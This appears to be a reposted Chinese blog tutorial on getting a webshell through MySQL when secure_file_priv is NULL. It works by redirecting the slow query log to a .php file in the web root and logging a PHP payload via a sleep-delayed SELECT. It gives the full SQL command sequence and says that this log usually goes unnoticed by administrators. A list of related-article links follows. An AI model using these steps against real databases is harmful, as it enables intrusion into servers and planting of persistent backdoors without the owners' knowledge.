mysql之突破secure_file_priv写shell
2023-09-11 14:19:36 时间
mysql之突破secure_file_priv写shell
总述:即当secure_file_priv为NULL的时候可以利用日志文件存储sql语句的特性来获得shell,此处用的是慢查询日志,当然别的日志应该也可以,写语句(xx or sleep(11))让其最终记录到慢查询日志中,修改慢查询日志文件位置即文件名(xx.php),然后访问此文件,就可以获得shell。
5.6.34版本之后,secure_file_priv的值默认为null,并且无法用sql语句对其进行修改,只能通过打开配置文件的方式:
windows下:
修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =
保存,重启mysql。
Linux下:
在/etc/my.cnf的[mysqld]下面添加local-infile=0选项。
但是可以利用日志来getshell:
mysql日志主要包括:错误日志,查询日志,慢查询日志,事务日志,日志的详细情况参考mysql日志详细解析
通过慢查询日志来写shell,步骤分为3步:
(使用慢查询日志原因,是因为这个日志一般用的少,但是这个日志默认是禁用的)
日志分析工具mysqldumpslow,自行百度
1.设置slow_query_log=1.即启用慢查询日志(默认禁用)
set global slow_query_log=1;
show global variables like '%slow_query_log%'; #查看慢查询日志是否开启及路径
mysql> show variables like 'slow_query_log_file';#查看慢查询日志存储路径
2.伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名
set global slow_query_log_file="物理绝对路径"
3.向日志文件写入shell
执行:select '<?php phpinfo();?>' or sleep(11);
然后url访问我们的马就可以了:127.0.0.1/shell.php
慢日志解释说明:mysql默认语句执行时间超过指定时间,则此语句就会记入慢查询日志中,这个时间由long_query_time来控制(默认值为10秒),
show global variables like "%long_query_time%" #查看服务器默认时间值
通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉。
相关文章
- mysql索引总结(2)-MySQL聚簇索引和非聚簇索引
- Mysql net start mysql启动,提示发生系统错误 5 拒绝訪问 解决之道
- 1.环境搭建-mysql+tomcat+myeclipse安装并配置
- mysql刻度转时分秒
- Can‘t connect to local MySQL server through socket ‘/tmp/mysql.sock‘ (2)
- 深入实践Spring Boot2.1.1 MySQL依赖配置
- [转]MySQL实现分页查询
- 【MySQL】常用监控指标及监控方法
- linux下mysql安装
- 从零基础入门MySQL数据库基础课
- 【mysql】MySQL的sql_mode模式说明及设置
- Mysql的安全配置向导命令mysql_secure_installation
- Mysql (二) 复杂查询
- 基于Python+MySQL 实现(GUI )学生信息管理系统【100010435】
- ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061),mysql服务已启动
- MySQL编程基础
- 转发 可设置skip_name_resolve参数 会出现 ERROR 2005 (HY000): Unknown MySQL server host _mysql ...
- MYSQL导入csv类型的数据出现The MySQL server is running with the --secure-file-priv option
- mysql全局唯一ID生成方案(二)
- 反弹shell以及常见的反弹Shell语句原理
- PostgreSQL通过mysql_fdw访问MySQL数据库
- 【Shell篇<Ⅲ>】——shell函数、字符串的处理
- Linux查看mysql 安装路径和运行路径
- Mysql启动时提示:Another MySQL daemon already running with the same unix socket.
- 《Linux命令行与shell脚本编程大全 第3版》高级Shell脚本编程---14
- 《Linux命令行与shell脚本编程大全 第3版》Shell脚本编程基础---44
- MySQL 安装mysql数据库